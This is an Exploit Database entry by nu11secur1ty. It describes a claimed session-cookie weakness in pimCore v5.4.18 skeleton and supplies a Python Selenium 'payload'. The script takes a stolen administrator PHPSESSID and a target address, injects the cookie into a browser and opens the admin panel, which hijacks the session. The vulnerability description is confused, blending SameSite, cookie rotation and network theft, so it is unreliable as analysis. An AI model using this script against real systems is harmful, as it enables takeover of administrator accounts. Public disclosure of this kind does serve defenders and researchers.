pimCore v5.4.18-skeleton – Sensitive Cookie with Improper SameSite Attribute

• Exploit Database
• 37 阅读

• 作者： nu11secur1ty
  日期： 2023-04-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51201/

• ## Exploit Title: pimCore v5.4.18-skeleton- Sensitive Cookie with Improper SameSite Attribute
  ## Author: nu11secur1ty
  ## Date: 01.11.2023
  ## Vendor: https://pimcore.com/en
  ## Software: https://packagist.org/packages/pimcore/skeleton
  ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton
  
  ## Description:
  The pimCore-5.4.18-skeleton suffers from Sensitive Cookie with
  Improper SameSite Attribute vulnerability - PHPSESSID cookie Session
  management connection requests are not sanitizing correctly.
  There are no securing changes in PHPSESSID cookies for every request -
  validating sessions and changing a cookie for every connection - POST
  Request.
  The attacker in the same network can trick the user - the
  administrator of this system and can steal his cookie,
  then he can make very evil things by using the same session from the
  name of the already authenticated user - administrator, on a couple of
  PCs with different IPs which are used from different machines into
  that network.
  When the attacker steals the cookie, he can manipulate the same
  session, for example, he can log out or do very malicious stuff.
  This is a very stupid developer's error, and this can be very
  dangerous for the owner of the system.
  The attack is possible also in the external network!
  
  ## STATUS: HIGH Vulnerability
  
  [+] Payload:
  
  ```Python
  #!/usr/bin/python3
  # @nu11secur1ty 2023
  import time
  from selenium import webdriver
  
  driver = webdriver.Chrome()
  print("Give the stolen cookie...\n")
  cookie = input()
  print("Give the domain or IP of the owner of the cookie...\n")
  target = input()
  
  driver.maximize_window()
  driver.get(target+ 'admin/?_dc=1673370965&perspective=')
  driver.add_cookie({'name': 'PHPSESSID', 'value': cookie})
  
  print(driver.get_cookie('PHPSESSID'))
  driver.get(target+ 'admin/?_dc=1673370965&perspective=')
  
  time.sleep(3)
  print("Press any key to stop the exploit...\n")
  input()
  
  print("Your PHPSESSID is PWNED")
  ```
  
  ## Reproduce:
  [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton)
  
  ## Reference:
  [href](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions)
  
  ## Proof and Exploit:
  [href](https://streamable.com/lorw8x)
  
  ## Time spent
  `03:00:00`
  
  ## Writing an exploit
  `00:25:00`
  
  
  -- 
  System Administrator - Infrastructure Engineer
  Penetration Testing Engineer
  Exploit developer at https://packetstormsecurity.com/
  https://cve.mitre.org/index.html and https://www.exploit-db.com/
  home page: https://www.nu11secur1ty.com/
  hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
  nu11secur1ty <http://nu11secur1ty.com/>